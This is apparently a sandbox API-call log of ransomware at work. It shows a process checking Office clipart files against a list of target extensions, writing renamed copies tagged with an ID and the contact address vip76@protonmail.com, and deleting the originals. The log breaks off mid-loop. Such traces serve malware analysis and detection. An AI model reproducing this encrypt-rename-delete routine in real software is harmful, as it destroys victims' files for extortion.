	[0200.525] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x7c6a, lpOverlapped=0x0) returned 1
	[0200.527] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x7c70, lpOverlapped=0x0) returned 1
	[0200.528] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.528] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.529] SetEndOfFile (hFile=0x500) returned 1
	[0200.529] CloseHandle (hObject=0x500) returned 1
	[0200.529] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.529] SetEndOfFile (hFile=0x594) returned 1
	[0200.531] CloseHandle (hObject=0x594) returned 1
	[0200.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1
	[0200.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.533] lstrlenW (lpString=".doc") returned 4
	[0200.533] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.533] lstrlenW (lpString=".docx") returned 5
	[0200.533] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0200.533] lstrlenW (lpString=".pdf") returned 4
	[0200.533] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.533] lstrlenW (lpString=".xls") returned 4
	[0200.533] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.533] lstrlenW (lpString=".xlsx") returned 5
	[0200.533] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0200.533] lstrlenW (lpString=".ppt") returned 4
	[0200.533] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.533] lstrlenW (lpString=".zip") returned 4
	[0200.533] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.533] lstrlenW (lpString=".rar") returned 4
	[0200.533] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.533] lstrlenW (lpString=".bz2") returned 4
	[0200.533] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.533] lstrlenW (lpString=".7z") returned 3
	[0200.533] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.533] lstrlenW (lpString=".dbf") returned 4
	[0200.534] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.534] lstrlenW (lpString=".1cd") returned 4
	[0200.534] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.534] lstrlenW (lpString=".jpg") returned 4
	[0200.534] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.534] lstrlenW (lpString=".doc") returned 4
	[0200.534] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.534] lstrlenW (lpString=".docx") returned 5
	[0200.534] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0200.534] lstrlenW (lpString=".pdf") returned 4
	[0200.534] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.534] lstrlenW (lpString=".xls") returned 4
	[0200.534] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.534] lstrlenW (lpString=".xlsx") returned 5
	[0200.534] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0200.534] lstrlenW (lpString=".ppt") returned 4
	[0200.534] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.534] lstrlenW (lpString=".zip") returned 4
	[0200.534] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.534] lstrlenW (lpString=".rar") returned 4
	[0200.534] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.534] lstrlenW (lpString=".bz2") returned 4
	[0200.534] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.534] lstrlenW (lpString=".7z") returned 3
	[0200.534] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.535] lstrlenW (lpString=".dbf") returned 4
	[0200.535] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.535] lstrlenW (lpString=".1cd") returned 4
	[0200.535] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68
	[0200.535] lstrlenW (lpString=".jpg") returned 4
	[0200.535] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.535] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.535] lstrlenW (lpString="J0145707.JPG") returned 12
	[0200.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.536] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=36820) returned 1
	[0200.536] CloseHandle (hObject=0x594) returned 1
	[0200.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220
	[0200.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.536] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.537] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.537] GetLastError () returned 0x0
	[0200.537] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x8fd4, lpOverlapped=0x0) returned 1
	[0200.680] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x8fe0, lpOverlapped=0x0) returned 1
	[0200.681] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.681] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.682] SetEndOfFile (hFile=0x500) returned 1
	[0200.682] CloseHandle (hObject=0x500) returned 1
	[0200.682] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.682] SetEndOfFile (hFile=0x594) returned 1
	[0200.685] CloseHandle (hObject=0x594) returned 1
	[0200.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1
	[0200.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.690] lstrlenW (lpString=".doc") returned 4
	[0200.690] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.690] lstrlenW (lpString=".docx") returned 5
	[0200.690] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0200.690] lstrlenW (lpString=".pdf") returned 4
	[0200.690] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.690] lstrlenW (lpString=".xls") returned 4
	[0200.690] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.690] lstrlenW (lpString=".xlsx") returned 5
	[0200.690] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0200.690] lstrlenW (lpString=".ppt") returned 4
	[0200.690] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.690] lstrlenW (lpString=".zip") returned 4
	[0200.690] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.691] lstrlenW (lpString=".rar") returned 4
	[0200.691] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.691] lstrlenW (lpString=".bz2") returned 4
	[0200.691] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.691] lstrlenW (lpString=".7z") returned 3
	[0200.691] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.691] lstrlenW (lpString=".dbf") returned 4
	[0200.691] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.691] lstrlenW (lpString=".1cd") returned 4
	[0200.691] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.691] lstrlenW (lpString=".jpg") returned 4
	[0200.691] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.691] lstrlenW (lpString=".doc") returned 4
	[0200.691] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.691] lstrlenW (lpString=".docx") returned 5
	[0200.691] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0200.691] lstrlenW (lpString=".pdf") returned 4
	[0200.691] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.691] lstrlenW (lpString=".xls") returned 4
	[0200.691] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.691] lstrlenW (lpString=".xlsx") returned 5
	[0200.691] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0200.691] lstrlenW (lpString=".ppt") returned 4
	[0200.691] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.691] lstrlenW (lpString=".zip") returned 4
	[0200.691] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.692] lstrlenW (lpString=".rar") returned 4
	[0200.692] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.692] lstrlenW (lpString=".bz2") returned 4
	[0200.692] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.692] lstrlenW (lpString=".7z") returned 3
	[0200.692] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.692] lstrlenW (lpString=".dbf") returned 4
	[0200.692] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.692] lstrlenW (lpString=".1cd") returned 4
	[0200.692] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0200.692] lstrlenW (lpString=".jpg") returned 4
	[0200.692] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.692] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.692] lstrlenW (lpString="J0145895.JPG") returned 12
	[0200.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.693] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=33958) returned 1
	[0200.693] CloseHandle (hObject=0x594) returned 1
	[0200.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220
	[0200.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.694] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.694] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.695] GetLastError () returned 0x0
	[0200.695] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x84a6, lpOverlapped=0x0) returned 1
	[0200.698] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x84b0, lpOverlapped=0x0) returned 1
	[0200.699] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.700] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.700] SetEndOfFile (hFile=0x500) returned 1
	[0200.700] CloseHandle (hObject=0x500) returned 1
	[0200.700] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.700] SetEndOfFile (hFile=0x594) returned 1
	[0200.703] CloseHandle (hObject=0x594) returned 1
	[0200.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1
	[0200.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.705] lstrlenW (lpString=".doc") returned 4
	[0200.705] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.705] lstrlenW (lpString=".docx") returned 5
	[0200.705] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0200.705] lstrlenW (lpString=".pdf") returned 4
	[0200.705] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.705] lstrlenW (lpString=".xls") returned 4
	[0200.705] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.705] lstrlenW (lpString=".xlsx") returned 5
	[0200.705] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0200.705] lstrlenW (lpString=".ppt") returned 4
	[0200.705] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.705] lstrlenW (lpString=".zip") returned 4
	[0200.705] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.705] lstrlenW (lpString=".rar") returned 4
	[0200.705] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.705] lstrlenW (lpString=".bz2") returned 4
	[0200.706] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.706] lstrlenW (lpString=".7z") returned 3
	[0200.706] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.706] lstrlenW (lpString=".dbf") returned 4
	[0200.706] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.706] lstrlenW (lpString=".1cd") returned 4
	[0200.706] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.706] lstrlenW (lpString=".jpg") returned 4
	[0200.706] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.706] lstrlenW (lpString=".doc") returned 4
	[0200.706] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.706] lstrlenW (lpString=".docx") returned 5
	[0200.706] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0200.706] lstrlenW (lpString=".pdf") returned 4
	[0200.706] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.706] lstrlenW (lpString=".xls") returned 4
	[0200.706] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.706] lstrlenW (lpString=".xlsx") returned 5
	[0200.706] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0200.706] lstrlenW (lpString=".ppt") returned 4
	[0200.706] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.706] lstrlenW (lpString=".zip") returned 4
	[0200.706] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.707] lstrlenW (lpString=".rar") returned 4
	[0200.707] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.707] lstrlenW (lpString=".bz2") returned 4
	[0200.707] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.707] lstrlenW (lpString=".7z") returned 3
	[0200.707] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.707] lstrlenW (lpString=".dbf") returned 4
	[0200.707] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.707] lstrlenW (lpString=".1cd") returned 4
	[0200.707] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0200.707] lstrlenW (lpString=".jpg") returned 4
	[0200.707] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.707] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.707] lstrlenW (lpString="J0145904.JPG") returned 12
	[0200.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.708] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=39542) returned 1
	[0200.708] CloseHandle (hObject=0x594) returned 1
	[0200.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220
	[0200.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.709] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.709] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.710] GetLastError () returned 0x0
